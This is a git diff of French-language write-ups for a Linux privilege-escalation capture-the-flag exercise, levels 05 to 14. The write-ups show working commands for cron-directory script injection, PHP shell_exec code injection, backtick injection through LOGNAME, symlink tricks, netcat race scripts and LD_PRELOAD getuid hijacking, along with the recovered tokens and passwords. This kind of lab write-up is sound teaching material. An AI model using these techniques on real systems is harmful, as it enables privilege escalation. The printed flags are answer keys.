Compare commits

..

No commits in common. "723eb90403ad06ecbeb91e6f163078f7c7a9400f" and "b53806c7ed2783707a02201cbcd080094e1b3f2a" have entirely different histories.

10 changed files with 20 additions and 49 deletions

View File

@ -6,11 +6,7 @@ On peut cat le script il execute tout les fichier dans : /opt/openarenaserver/ p
En creant un fichier dans ce dossier on peut observer qu'il est rapidement suprimer, donc executer
il suffit d'avoir un fichier qui contient: getflag > /tmp/flag05
il suffit d'avoir un fichier qui contient:
getflag > /tmp/flag05
$ echo -e '#!/bin/bash \x0a getflag > /tmp/.flag05 ' > /opt/openarenaserver/exploit_05
puis au bout de 1 minutes:
$ cat /tmp/.flag05
il sera alors execute et on pourra recuperer le flag dans /tmp/.flag05
il sera alors execute et on pourra recuperer le flag dans /tmp/flag05

View File

@ -13,9 +13,8 @@ on remarque qu'on peut utiliser une commande shell en php avec shell_exec, il su
shell_exec(getflag)
dans la regex
il faut un ficher avec: [x {${shell_exec(getflag)}}]
puis rentrer ce fichier en argument du binaire level06
$ echo '[x {${shell_exec(getflag)}}]' > /tmp/exploit06 && ./level06 /tmp/exploit06
il faut un ficher avec
[x {${shell_exec(getflag)}}]
puis rentrer ce fichier en argument du binaire level06

View File

@ -17,8 +17,7 @@ sh: 2: Syntax error: ")" unexpected
on rajoute des backslashs
$ LOGNAME=\`getflag\` ./level07
LOGNAME=\`getflag\` ./level07
Check flag.Here is your token : fiumuikeil55xe9cu4dood66h
> Check flag.Here is your token : fiumuikeil55xe9cu4dood66h
Cela marche
Cela marche

View File

@ -5,9 +5,9 @@ alors le programme s'arrete.
Il faut trouver un moyen de renommer token mais nous n'avons pas les droits dessus,
par contre nous pouvons creer un lien symbolique qui ne contient pas le mot token
$ ln -s $PWD/token /tmp/test
$ ./level08 /tmp/test
ln -s $PWD/token /tmp/test
./level08 /tmp/test
le token s'affiche : quif5eloekouj29ke0vouxean
il permet de se connected au compte flag08 puis on lance getflag
il permet de se connected au compte flag08 puis on lance getflag

View File

@ -27,8 +27,7 @@ Il faut juste enlever la premier virgule pour pouvoir initialiser un tableau sta
On a fait un fichier en C qui precede a appliquer l'inverse de la roation incrementale
# sur notre machine:
$ gcc Ressources/decode.c && ./a.out
$ gcc Ressource/decode.c && ./a.out
> f3iji1ju5yuevaus41q1afiuq<75>
le dernier charactere corespond au "\n"

View File

@ -49,12 +49,11 @@ Le deuxieme va lancer l'executable level10 avec les bon argument
Enfin le dernier va lancer des serveur netcat en boucle car on va aussi recevoir le fichier vide, il faudra alor relancer netcat
pour ca on copy les script shell depuis Resource sur la vm:
$ scp -r -P 4242 level10/Ressources level10@127.0.0.2:/tmp/.level10/
$ scp -r -P 4242 level10/Ressource level10@127.0.0.2:/tmp/.level10/
On lance chaque script dans une connection et le tour est jouer
On obtien le mot de passe du compte flag10, qui est egalement le meme que le compte flag11
On peut en deduire que le level11 est optionel... Mais pour le jeux on l'a quand meme realiser
(Oui la derscription de ce level est tres verbeuse)

View File

@ -24,7 +24,3 @@ $ cat /tmp/bingo
> Check flag.Here is your token : fa6v5ateaw21peobuub8ipe6s
BINGO
Si non le mot de passe du compte flag11 est le meme que celui du compte flag10 et c'est:
woupa2yuojeeaaed06riuj63c

View File

@ -8,13 +8,11 @@
# On ne poura donc pas executer de comande en tant que tel.
# mais on peut executer un fichier
# Dans un fichier /tmp/.TOTO avec les droit en execution ont va mettre le contenu suivant:
# Dans un fichier /tmp/.TOTO ont va mettre le contenu suivant:
#!/bin/sh
getflag > /tmp/.flag12
$ echo -e '#!/bin/sh \x0a getflag > /tmp/.flag12' > /tmp/.TOTO && chmod 777 /tmp/.TOTO
# puis on envoie un requet avec des back-quote pour executer le fichier
$ nc -v localhost 4646

View File

@ -3,13 +3,10 @@
# on se place dans un dosier du /tmp
# depuis la vm:
$ mkdir -p /tmp/.level13 && cd /tmp/.level13
# on copie la fonction getuid adapter depuis la session extern:
$ scp -P 4242 level13/Ressources/inject_getuid.c level13@127.0.0.2:/tmp/.level13/
# depuis la vm:
$ gcc -shared -fPIC -o inject_getuid.so inject_getuid.c
#puis:
$ LD_PRELOAD=/tmp/.level13/inject_getuid.so ./level13
# LD_PRELOAD n'est pas charge, car une securite linux empeche LD_PRELOAD sur les exe qui ne nous appartiennent pas.
@ -18,7 +15,6 @@ $ LD_PRELOAD=/tmp/.level13/inject_getuid.so ./level13
# On copie alors l'executable dans /tmp/.level13
# l'executable nmous appartient on peut donc utiliser LD_PRELOAD
$ cp ~/level13 .
$ LD_PRELOAD=/tmp/.level13/inject_getuid.so ./level13
> your token is 2A31L79asukciNyi8uppkEuSx

View File

@ -11,18 +11,7 @@ On voit que la derniere chaine de caractere fait 39 caracteres au lieu de 25, on
la mettre dans l'executable, ca segfault. Il faut trouver un moyen de la decouper en 2.
En entrant aaaaaaaaaaaaaaaaaaaaaaaaa comme chaine, on se rend compte que l'algo de decodage
boucle tout les 6 caracteres:
> your token is 13/5-713/5-713/5-713/5-71
Alors on rentre les 25 premier caracteres de la chaine de 39
boucle tout les 6 caracteres, alors on rentre les 25 premier caracteres de la chaine de 39
puis les 14 derniers decales de 1(pour etre aligne aux 6 caracteres) et on concat les resultats.
La chaine source du flag est:
g <t61:|4_|!@IF.-62FH&G~DCK/Ekrvvdwz?v|
On rentrera en premier:
g <t61:|4_|!@IF.-62FH&G~D
puis 1 characeter, CK/Ekrvvdwz?v|, puis 10 charactere. Pour plus de lisibiliter en sortie on entrera, les '-' ne font pas partie du token:
]CK/Ekrvvdwz?v|YaW][_YaW]
Cela marche et nous donne le mot de passe de flag14, qui est egalement le flag.
Cela marche et nous donne le mot de passe de flag14, qui est egalement le flag.